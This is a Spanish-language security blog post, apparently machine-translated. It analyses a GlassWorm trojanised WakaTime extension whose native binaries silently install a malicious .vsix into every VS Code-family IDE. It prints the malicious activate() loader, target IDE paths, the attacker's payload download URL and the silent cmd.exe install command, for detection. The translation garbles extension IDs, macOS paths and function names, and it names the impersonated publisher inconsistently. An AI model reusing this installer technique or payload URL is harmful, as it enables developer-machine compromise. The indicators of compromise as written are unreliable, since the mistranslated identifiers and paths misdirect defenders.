Llevamos más de un año siguiendo la pista a GlassWorm. Apareció por primera vez en marzo de 2025, cuando Aikido descubrió paquetes npm maliciosos que ocultaban cargas útiles dentro de caracteres Unicode invisibles. Desde entonces, la campaña se ha expandido en repetidas ocasiones , comprometiendo cientos de proyectos en GitHub, npm y VS Code, y más recientemente distribuyendo un RAT persistente a través de una extensión falsa de Chrome que registraba las pulsaciones de teclas y volcaba las cookies de sesión. El grupo sigue evolucionando y acaba de dar un salto significativo.
Hemos observado esta nueva técnica en una extensión de OpenVSX llamada «code-wakatime-activity-tracker». La extensión se hace pasar por WakaTime, la popular herramienta de seguimiento del tiempo de los desarrolladores, e incluye un binario nativo compilado con Zig junto con su código JavaScript. No es la primera vez que GlassWorm recurre al uso de código nativo compilado en las extensiones. Sin embargo, en lugar de utilizar el binario directamente como carga útil, se emplea como una indirección sigilosa para el conocido dropper de GlassWorm, que ahora infecta en secreto todos los demás entornos de desarrollo (IDE) que pueda encontrar en el sistema.
El dropper: una extensión troyanizada
La ampliación código-wakatime-monitor-de-actividad, publicada en OpenVSX, es a simple vista casi idéntica a la extensión legítima de WakaTime: los mismos comandos registrados, las mismas solicitudes de clave API, los mismos iconos de la barra de estado. La diferencia radica en un solo aspecto: el activate() función.
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();Antes de que se ejecute cualquier código de WakaTime, la extensión carga un binario nativo desde el ./bin/ directorio incluido junto con la extensión y llama inmediatamente a instalar(). En Windows, esto es win.node, una DLL PE32+. En macOS es mac.node, un Mach-O universal compatible tanto con x86_64 como con arm64. Se trata de complementos nativos de Node.js: bibliotecas compartidas compiladas que se cargan directamente en el entorno de ejecución de Node y se ejecutan fuera del entorno aislado de JavaScript con acceso completo a nivel del sistema operativo. Ambos están escritos en Zig. El binario para macOS se compiló con los símbolos de depuración intactos, lo que revela la ruta del proyecto /Usuarios/davidioasd/Descargas/vsx_installer_zig.
Infectar todos los entornos de desarrollo integrado (IDE) del equipo
Una vez cargado, lo primero que hace el binario es buscar todos los entornos de desarrollo integrado (IDE) instalados en el equipo que sean compatibles con el formato de extensiones de VS Code. A continuación, instala de forma silenciosa una extensión maliciosa en cada uno de los que encuentra.
Windows (desde win.node):
%LOCALAPPDATA%\Programas\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programas\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programas\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programas\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programas\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programas\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS (a partir de mac.node):
/Aplicaciones/Visual Studio Code.app/Contenido/Recursos/app/bin/code
/Aplicaciones/Visual Studio Code - Insiders.app/.../code-insiders
/Aplicaciones/Cursor.app/Contenido/Recursos/app/bin/cursor
/Aplicaciones/Windsurf.app/Contenido/Recursos/app/bin/windsurf
/Aplicaciones/VSCodium.app/Contenido/Recursos/app/bin/codium
/Aplicaciones/Positron.app/Contenido/Recursos/app/bin/positronEste ataque no afecta únicamente a VS Code: abarca todo el ecosistema de editores que comparten el mismo sistema de extensiones: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium y Positron. Un desarrollador que utilice Cursor como editor principal, pero que también tenga instalado VS Code, vería comprometidos ambos programas.
Una vez generada la lista IDE, el binario descarga un archivo malicioso .vsix desde una página de GitHub Releases controlada por el atacante:
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixEl paquete se hace pasar por steoates.autoimport, una extensión legítima y popular de VS Code con millones de instalaciones. La descarga .vsix se guarda en una ruta temporal y, a continuación, se instala de forma silenciosa en todos los entornos de desarrollo integrado (IDE) detectados en el paso anterior utilizando el instalador de línea de comandos propio de cada editor. En Windows, esto se ejecuta a través de cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"Una vez instalado, limpiezaVsix borra el archivo descargado para eliminar las pruebas.
La ampliación de la segunda fase
El archivo .vsix instalado de forma forzada es el mismo dropper de GlassWorm que hemos estado rastreando y analizando en profundidad. Establece una geovalla en los sistemas rusos, envía señales a un servidor de control y comando (C2) basado en la cadena de bloques Solana y, en nuestro análisis anterior, descubrimos que lleva a cabo una exfiltración encubierta e instala un RAT persistente, incluida una extensión maliciosa de Chrome.

Cómo lo detecta el aikido
Si has instalado specstudio/código-wakatime-registrador-de-actividad o consulte floktokbok.autoimport Si aparece en alguna de tus listas de extensiones del IDE, considera que tu equipo ha sido comprometido y cambia cualquier dato confidencial al que se haya podido acceder.
Si utilizas Aikido, comprueba tu feed central y filtra los problemas relacionados con el malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza un nuevo análisis cada noche, pero te recomendamos que inicies un nuevo análisis manual ahora mismo.
Si aún no eres usuario de Aikido, puedes crear una cuenta y conectar tus repositorios. Nuestra protección contra malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo tu equipo, Endpoint Protection de Aikido te ofrece visibilidad y control sobre los paquetes de software instalados en los dispositivos de tu equipo. Abarca extensiones de navegador, bibliotecas de código, complementos de IDE y dependencias de compilación, todo en un solo lugar. Detén el malware antes de que se instale.
Para protegerte en el futuro, te recomendamos Aikido Safe Chain (de código abierto). Safe Chain se integra en tu flujo de trabajo actual, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y comprobando los paquetes con Aikido Intel antes de instalarlos.
IOCs
Extensiones
specstudio/código-wakatime-registrador-de-actividad(extensión OpenVSX infectada con un troyano)autoimport-2.7.9(implantación de segunda fase en entornos de desarrollo integrado)
Archivos
win.nodedentro del directorio ./bin/ de cualquier extensión de VS Code- SHA-256:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256:
mac.nodedentro del directorio ./bin/ de cualquier extensión de VS Code- SHA-256:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256:
Red
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
Cuerdas
vsx_installer_zig(Nombre del proyecto «Zig» encontrado en el binario de macOS)davidioasd(Nombre de usuario encontrado en el archivo binario de macOS)

